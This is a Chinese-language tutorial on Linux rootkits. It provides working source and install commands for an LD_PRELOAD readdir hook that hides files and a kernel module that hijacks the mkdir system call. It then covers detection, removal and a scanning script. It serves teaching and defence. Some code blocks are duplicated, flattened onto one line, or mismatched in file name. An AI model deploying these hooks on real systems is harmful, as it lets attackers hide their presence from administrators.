一、什么是 Rootkit?
Rootkit 是一组恶意软件的集合,它的核心目标是:隐藏自己和其他恶意行为,让攻击者可以长期控制受害系统而不被发现。它不提供登录功能,它只是帮攻击者隐藏痕迹。
通俗理解
| 对比 | 说明 |
|---|---|
| 普通后门 | 像在墙上挖个洞,管理员能看到洞 |
| Rootkit | 像给这个洞盖上一块”隐身布”,管理员连洞都看不见 |
名字由来:Root(最高权限)+ Kit(工具套件)= 获取并维持 root 权限的工具集。
二、Rootkit 的核心原理
2.1 本质是什么?
Rootkit 的本质是 “劫持”——劫持系统正常的函数调用,让系统”说谎”。
2.2 正常调用流程 vs 被劫持流程
text
【正常情况】
你执行 ls
│
▼
ls 程序调用 readdir() 函数
│
▼
内核读取目录,返回所有文件名
│
▼
屏幕上显示:file1.txt file2.txt secret.txt
【被 Rootkit 劫持后】
你执行 ls
│
▼
ls 程序调用 readdir() 函数
│
▼
【Rootkit 在这里拦截】
│
├──→ 检查文件名是不是 "secret.txt"
│
├──→ 如果是 → 跳过,不返回(假装不存在)
│
└──→ 如果不是 → 正常返回
│
▼
屏幕上显示:file1.txt file2.txt
(secret.txt 被隐藏了,但实际还在)
2.3 Rootkit 的两大类型
| 类型 | 劫持对象 | 通俗理解 | 隐蔽性 |
|---|---|---|---|
| 用户态 Rootkit | 系统命令(ls、ps)或动态库函数 | 骗的是”应用程序” | 中等 |
| 内核态 Rootkit | 内核系统调用 | 骗的是”操作系统内核本身” | 极高 |
三、用户态 Rootkit:LD_PRELOAD 劫持
3.1 原理详解
Linux 动态链接机制:
-
Linux 程序运行时,会动态加载共享库(
.so文件,类似 Windows 的.dll) -
LD_PRELOAD环境变量可以指定优先加载的共享库
正常加载顺序:
程序 → libc.so(标准库)→ 系统调用
设置 LD_PRELOAD 后:
程序 → 恶意.so(优先)→ libc.so → 系统调用
劫持原理:
-
恶意
.so文件里定义一个同名函数(如readdir) -
由于恶意库优先加载,程序调用
readdir时会先执行恶意版本 -
恶意版本可以过滤结果,然后再调用真正的函数
3.2 代码部分
hide.c
cat > hide.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
struct dirent *readdir(DIR *dirp) {
struct dirent *(*original_readdir)(DIR *) = dlsym(RTLD_NEXT, "readdir");
struct dirent *dir;
while ((dir = original_readdir(dirp)) != NULL) {
if (strstr(dir->d_name, "hidden_secret") != NULL) {
continue;
}
return dir;
}
return NULL;
}
EOF
3.3 代码解释
| 代码 | 解释 |
|---|---|
#define _GNU_SOURCE |
启用 GNU 扩展,让 RTLD_NEXT 可用 |
#include <dlfcn.h> |
动态链接库函数,提供 dlsym() 和 RTLD_NEXT |
#include <dirent.h> |
目录操作库,提供 readdir() |
#include <string.h> |
字符串操作库,提供 strstr() |
struct dirent *readdir(...) |
定义同名函数,劫持系统的 readdir |
dlsym(RTLD_NEXT, "readdir") |
获取系统真正的 readdir 函数地址 |
strstr(dir->d_name, "hidden_secret") |
检查文件名是否包含要隐藏的关键词 |
continue |
如果是隐藏文件,跳过不返回 |
return dir |
返回正常文件 |
return NULL |
没有更多文件了 |
3.4 执行流程图
程序调用 readdir()
│
▼
执行恶意 readdir()
│
▼
调用真正的 readdir() 获取文件名
│
▼
文件名包含 "hidden_secret"?
│
├── 是 → 跳过,继续读下一个(不返回)
│
└── 否 → 返回文件名(正常显示)
3.5 编译和使用
# 1. 编译恶意动态库
gcc -shared -fPIC -o /usr/local/lib/hide.so hide.c -ldl
参数解释:
| 参数 | 解释 |
|---|---|
-shared |
编译成共享库(.so 文件) |
-fPIC |
生成位置无关代码 |
-o hide.so |
输出文件名 |
-ldl |
链接动态加载库(dlsym 需要) |
# 2. 让所有程序加载这个库(全局生效,需要 root)
echo "/usr/local/lib/hide.so" > /etc/ld.so.preload
# 3. 创建要隐藏的文件
echo "attackers data" > /tmp/hidden_secret
# 4. 测试:普通 ls 看不到
ls -la /tmp/ | grep hidden_secret
# 输出:空(看不到)
# 5. 但文件实际存在 cat /tmp/hidden_secret
# 输出:attackers data
3.6 检测方法
# 1. 检查 /etc/ld.so.preload
cat /etc/ld.so.preload
# 正常应为空,异常会显示恶意.so路径
# 2. 检查环境变量
echo $LD_PRELOAD
# 3. 用静态编译的 busybox(不受 LD_PRELOAD 影响)
wget https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox
chmod +x busybox
./busybox ls -la /tmp/
# 应该能看到 hidden_secret
# 4. 清除
echo -n "" > /etc/ld.so.preload
rm -f /usr/local/lib/hide.so
四、内核态 Rootkit:LKM 劫持
4.1 原理详解
什么是内核模块(LKM)?
-
Linux 内核支持动态加载模块(Loadable Kernel Module),比如驱动程序
-
攻击者可以编写恶意内核模块,用
insmod加载进内核 -
模块运行在内核态,拥有最高权限
系统调用劫持原理:
text
用户程序(如 ls)调用 readdir()
│
▼
┌─────────────────────────────────────────────┐
│ 系统调用表(内核态) │
│ ┌─────────────────────────────────────────┐│
│ │ sys_call_table[READDIR] = 原始_readdir ││
│ └─────────────────────────────────────────┘│
│ │ │
│ ▼ │
│ 执行真正的 readdir 功能 │
└─────────────────────────────────────────────┘
【Rootkit 修改后】
┌─────────────────────────────────────────────┐
│ 系统调用表(内核态) │
│ ┌─────────────────────────────────────────┐│
│ │ sys_call_table[READDIR] = 恶意_readdir ││ ← 被改了
│ └─────────────────────────────────────────┘│
│ │ │
│ ▼ │
│ 先执行恶意代码(过滤隐藏) │
│ │ │
│ ▼ │
│ 再调用原始_readdir │
└─────────────────────────────────────────────┘
4.2 代码部分
evil_module.c
cat > hide.c << 'EOF'
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/syscalls.h>
// ========== 保存原始系统调用 ==========
asmlinkage int (*original_mkdir)(const char __user *pathname, umode_t mode);
// ========== 劫持后的 mkdir ==========
asmlinkage int hooked_mkdir(const char __user *pathname, umode_t mode) {
if (strstr(pathname, "DO_NOT_CREATE") != NULL)
{ printk(KERN_INFO "Rootkit: 阻止创建目录 %s\n", pathname);
return 0;
}
return original_mkdir(pathname, mode); }
// ========== 模块初始化(加载时执行) ==========
static int __init evil_init(void) { unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table"); original_mkdir = (void *)sys_call_table[__NR_mkdir]; sys_call_table[__NR_mkdir] = (unsigned long)hooked_mkdir; printk(KERN_INFO "Rootkit: 已加载,mkdir 系统调用已被劫持\n"); return 0; }
// ========== 模块退出(卸载时执行) ==========
static void __exit evil_exit(void) { unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table"); sys_call_table[__NR_mkdir] = (unsigned long)original_mkdir; printk(KERN_INFO "Rootkit: 已卸载,mkdir 系统调用已恢复\n"); } module_init(evil_init); module_exit(evil_exit); MODULE_LICENSE("GPL");
cat > hide.c << 'EOF' #include <linux/module.h> #include <linux/kernel.h> #include <linux/kallsyms.h> #include <linux/syscalls.h> // ========== 保存原始系统调用 ========== asmlinkage int (*original_mkdir)(const char __user *pathname, umode_t mode); // ========== 劫持后的 mkdir ========== asmlinkage int hooked_mkdir(const char __user *pathname, umode_t mode) { if (strstr(pathname, "DO_NOT_CREATE") != NULL) { printk(KERN_INFO "Rootkit: 阻止创建目录 %s\n", pathname); return 0; } return original_mkdir(pathname, mode); } // ========== 模块初始化(加载时执行) ========== static int __init evil_init(void) { unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table"); original_mkdir = (void *)sys_call_table[__NR_mkdir]; sys_call_table[__NR_mkdir] = (unsigned long)hooked_mkdir; printk(KERN_INFO "Rootkit: 已加载,mkdir 系统调用已被劫持\n"); return 0; } // ========== 模块退出(卸载时执行) ========== static void __exit evil_exit(void) { unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table"); sys_call_table[__NR_mkdir] = (unsigned long)original_mkdir; printk(KERN_INFO "Rootkit: 已卸载,mkdir 系统调用已恢复\n"); } module_init(evil_init); module_exit(evil_exit); MODULE_LICENSE("GPL");
4.3 代码解释
| 代码 | 解释 |
|---|---|
#include <linux/module.h> |
内核模块必需头文件 |
#include <linux/kallsyms.h> |
获取内核符号(如系统调用表地址) |
asmlinkage |
表示参数通过栈传递(系统调用特有) |
(*original_mkdir) |
函数指针,保存原始的 mkdir 系统调用 |
hooked_mkdir |
劫持后的 mkdir 函数 |
strstr(pathname, "DO_NOT_CREATE") |
检查路径是否包含后门标记 |
printk() |
内核日志输出函数 |
kallsyms_lookup_name("sys_call_table") |
查找系统调用表的地址 |
sys_call_table[__NR_mkdir] |
获取/设置 mkdir 系统调用的函数指针 |
module_init(evil_init) |
注册模块初始化函数(加载时执行) |
module_exit(evil_exit) |
注册模块退出函数(卸载时执行) |
4.4 编译和加载
bash
# 1. 创建 Makefile cat > Makefile << 'EOF' obj-m += evil_module.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean EOF # 2. 安装内核开发包(编译模块需要) dnf install kernel-devel-$(uname -r) gcc make -y # 3. 编译 make # 4. 加载恶意模块(需要 root) insmod evil_module.ko # 5. 验证:模块已加载 lsmod | grep evil_module # 6. 测试劫持效果 mkdir /tmp/DO_NOT_CREATE_test # 这个目录应该不会被创建(被劫持了) ls -la /tmp/ | grep DO_NOT_CREATE # 输出:空 # 7. 正常目录不受影响 mkdir /tmp/normal_test ls -la /tmp/ | grep normal_test # 输出:drwxr-xr-x ... normal_test
4.5 检测方法
# 1. 检查已加载的模块 lsmod cat /proc/modules # 对比两者数量(如果有模块被隐藏,数量会不一致) # 2. 使用离线扫描(最可靠) # 用 Live CD/USB 启动,挂载原系统盘 # 此时 Rootkit 未被加载,真相大白 # 3. 检查内核日志是否有异常 dmesg | tail -50 # 4. 如果怀疑,重启后用 Live CD 检查
4.6 清除方法
# 1. 卸载恶意模块(如果知道模块名) rmmod evil_module # 2. 如果看不到模块(被隐藏了),重启系统 reboot # 3. 重启后用工具扫描 rkhunter --check
⚠️ 重要:内核级 Rootkit 极度隐蔽,最安全的做法是备份数据后重装系统。
五、内核态 vs 用户态:完整对比
| 对比项 | 用户态 Rootkit | 内核态 Rootkit |
|---|---|---|
| 劫持对象 | 动态库函数(如 readdir) | 系统调用表 |
| 权限要求 | 写 /etc/ld.so.preload 需要 root |
需要 root 加载模块 |
| 作用范围 | 只影响用户程序 | 影响整个系统 |
| 能否隐藏自己 | 难(文件在 /etc/ld.so.preload) |
可以(从 lsmod 消失) |
| 重启后是否还在 | 是(配置文件还在) | 否(需重新加载) |
| 检测难度 | 中等 | 极高 |
| 清除难度 | 低 | 极高(建议重装) |
| 典型例子 | LD_PRELOAD 后门 | LKM Rootkit |
六、Rootkit 能做什么?(功能汇总)
| 功能 | 用户态实现 | 内核态实现 | 效果 |
|---|---|---|---|
| 隐藏进程 | 劫持 readdir(/proc) |
劫持 getdents 系统调用 |
ps 看不到恶意进程 |
| 隐藏文件 | 劫持 readdir |
劫持 readdir 系统调用 |
ls 看不到恶意文件 |
| 隐藏端口 | 劫持 /proc/net/tcp 读取 |
劫持 TCP 内核函数 | netstat 看不到后门端口 |
| 隐藏模块 | 不适用 | 从模块链表删除自身 | lsmod 看不到 |
| 特权提升 | 劫持 setuid 等函数 |
劫持权限检查函数 | 普通用户变 root |
| 键盘记录 | 劫持 read 函数 |
劫持键盘中断 | 记录所有按键 |
七、完整检测脚本
#!/bin/bash
echo "========== Rootkit 完整检测 =========="
# 1. 用户态检测
echo "[1] 检查 LD_PRELOAD"
cat /etc/ld.so.preload 2>/dev/null
echo "LD_PRELOAD=$LD_PRELOAD"
# 2. 检查系统命令完整性
echo "[2] 检查系统命令是否被替换"
rpm -Va 2>/dev/null | grep -E "bin/|sbin/" | head -10
# 3. 用 busybox 对比 echo "[3] 对比 ls 输出"
if [ ! -f /tmp/busybox ];
then wget -q -O /tmp/busybox https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox
chmod +x /tmp/busybox fi echo "系统 ls 看到的 /tmp 文件数: $(ls /tmp/ | wc -l)" echo "busybox ls 看到的 /tmp 文件数: $(/tmp/busybox ls /tmp/ | wc -l)"
# 4. 内核态检测
echo "[4] 检查内核模块" lsmod | head -5
echo "模块数量: $(lsmod | wc -l)"
# 5. 检测可疑内核模块
echo "[5] 可疑模块检查"
lsmod | grep -E "hide|evil|rootkit|backdoor|hook"
echo "========== 检测完成 =========="
八、核心总结
| 问题 | 答案 |
|---|---|
| Rootkit 的本质是什么? | 劫持系统函数调用,让系统”说谎” |
| 用户态 Rootkit 怎么工作? | 通过 LD_PRELOAD 优先加载恶意 .so 库,劫持库函数 |
| 内核态 Rootkit 怎么工作? | 加载恶意内核模块(LKM),劫持系统调用表 |
| 为什么内核态更危险? | 可以隐藏自己,影响整个系统,检测极难 |
| 怎么检测用户态? | cat /etc/ld.so.preload、rpm -Va、用 busybox 对比 |
| 怎么检测内核态? | 离线扫描(Live CD)最可靠 |
| 发现后怎么办? | 备份数据后重装系统 |
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END

















暂无评论内容